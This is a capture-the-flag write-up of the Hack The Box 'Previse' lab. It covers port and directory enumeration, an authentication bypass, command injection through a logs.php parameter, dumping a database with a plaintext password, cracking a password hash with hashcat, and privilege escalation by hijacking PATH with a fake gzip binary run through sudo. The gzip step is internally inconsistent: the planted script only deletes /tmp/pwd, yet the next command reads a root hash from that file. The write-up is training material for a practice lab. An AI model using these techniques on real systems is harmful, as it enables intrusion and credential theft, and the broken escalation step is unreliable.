HTB Write-up | Previse

Retired machine can be found here.


Scanning

As always, we start by mapping the previse.htb hostname to the given IP:

~ sudo nano /etc/hosts

10.10.11.104  previse.htb

The nmap scan is pretty boring, it seems there's a web server running on port 80 and an SSH server on port 22:

~ nmap 10.10.11.104

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

~  nmap 10.10.11.104 -sC -sV -A -p 22,80

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
|   256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_  256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

When we access previse.htb we're redirected to the login page:

Let's try to enumerate some directories and files with gobuster:

~ gobuster dir \
-u http://previse.htb \
-c PHPSESSID=r989gcoqshohp5v8thvcji2sh2 \
-x php \
-w ../seclists/big.txt \   
-s 200 -b 403,404 --wildcard

[...]

/accounts.php         (Status: 302) [Size: 3994] [--> login.php]
/config.php           (Status: 200) [Size: 0]                   
/css                  (Status: 301) [Size: 308] [--> http://previse.htb/css/]
/download.php         (Status: 302) [Size: 0] [--> login.php]                
/favicon.ico          (Status: 200) [Size: 15406]                            
/files.php            (Status: 302) [Size: 8377] [--> login.php]             
/footer.php           (Status: 200) [Size: 217]                              
/header.php           (Status: 200) [Size: 980]                              
/index.php            (Status: 302) [Size: 2801] [--> login.php]             
/js                   (Status: 301) [Size: 307] [--> http://previse.htb/js/] 
/login.php            (Status: 200) [Size: 2224]                             
/logout.php           (Status: 302) [Size: 0] [--> login.php]                
/logs.php             (Status: 302) [Size: 0] [--> login.php]
/nav.php              (Status: 200) [Size: 1248]
/status.php           (Status: 302) [Size: 2970] [--> login.php] 

All of the pages either redirect to login.php or have no interesting content, except for the nav.php which has some interesting links:

The links are:

  • Home: /index.php
  • Accounts + Create Account: /accounts.php
  • Files: /files.php
  • Management Menu + Website Status: /status.php
  • Log data: /file_logs.php

... but they all redirect to login.php since we're not authenticated.

Bypassing Authentication

The accounts.php page seems the most interesting, maybe we can try some other HTTP methods:

Using this POST request we can create a new user and then use these creds to log in:

Exploring the website

On the files.php page there are clearly some attempts to upload reverse shells, as well as a zip file that contains the site backup:

In the backup we can see that the config.php file contains the DB credentials:

But the logs.php has the most potential, since there's a call to an exec function that uses a parameter sent via POST request:

We already know the format of this POST request since it's the one performed on the file_logs.php page:

POST /logs.php HTTP/1.1
Host: previse.htb
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://previse.htb
Connection: close
Referer: http://previse.htb/file_logs.php
Cookie: PHPSESSID=prod44vfotfs0nvgir215458f0
Upgrade-Insecure-Requests: 1

delim=tab

When we change this delim parameter to send a curl request to a simple local web server we get a ping back!

So, let's go for the reverse shell:

We're in!


Becoming m4lwhere

First order of business: upgrade the shell!

~ python -c 'import pty; pty.spawn("/bin/bash")'

Let's see what else is there:

bash-4.4$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false

We have access to m4lwhere's home directory, but not to the user flag:

bash-4.4$ cd /home/m4lwhere

bash-4.4$ ls
user.txt

bash-4.4$ cat user.txt
cat: user.txt: Permission denied

Let's dump the database, since we already have the creds:

bash-4.4$ mysqldump -u root -p --all-databases > db_dump.sql

Enter password: mySQL_p@ssw0rd!:)

There's a hashed password for the m4lwhere user on the accounts table:

CREATE TABLE `accounts` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(50) NOT NULL,
  `password` varchar(255) NOT NULL,
  `created_at` datetime DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (`id`),
  UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1;

INSERT INTO `accounts` VALUES 
(1,'m4lwhere','$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.','2021-05-27 18:18:36'),
[...]

Save me hashcat!

~ nano hash

$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.

~ hashcat -a 0 -m 500 hash ../seclists/pwds/rockyou.txt --show
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!

We got the password!

~ ssh m4lwhere@previse.htb

m4lwhere@previse.htb's password: 
> ilovecody112235!

[...]

bash-4.4$ cat user.txt 
cff266072b891cf5458d490516040d5b

Road to root

After some poking around I went back to the /opt/script directory:

bash-4.4$ cd /opt/scripts/

bash-4.4$ ls -la
total 16
drwxr-xr-x 2 root     root     4096 Jul 26 18:41 .
drwxr-xr-x 3 root     root     4096 Jul 26 18:41 ..
-rwxr-xr-x 1 root     root      486 Jun  6  2021 access_backup.sh
-rw-r--r-- 1 m4lwhere m4lwhere  320 Jun  6  2021 log_process.py

The access_backup.sh file looks very interesting:

bash-4.4$ cat access_backup.sh
#!/bin/bash

# We always make sure to store logs, we take security SERIOUSLY here

# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time

gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz

OK, what if we poison the gzip binary:

bash-4.4$ which gzip
/bin/gzip

bash-4.4$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

bash-4.4$ echo "rm /tmp/pwd" > /tmp/gzip
bash-4.4$ chmod 777 /tmp/gzip 
bash-4.4$ export PATH=/tmp:$PATH
bash-4.4$ cd /opt/scripts/
bash-4.4$ sudo ./access_backup.sh 
> ilovecody112235!
bash-4.4$ cat /tmp/pwd 
b3ca53edb5aecbbc2cd1456f3454cb47

We're done babyyyyy!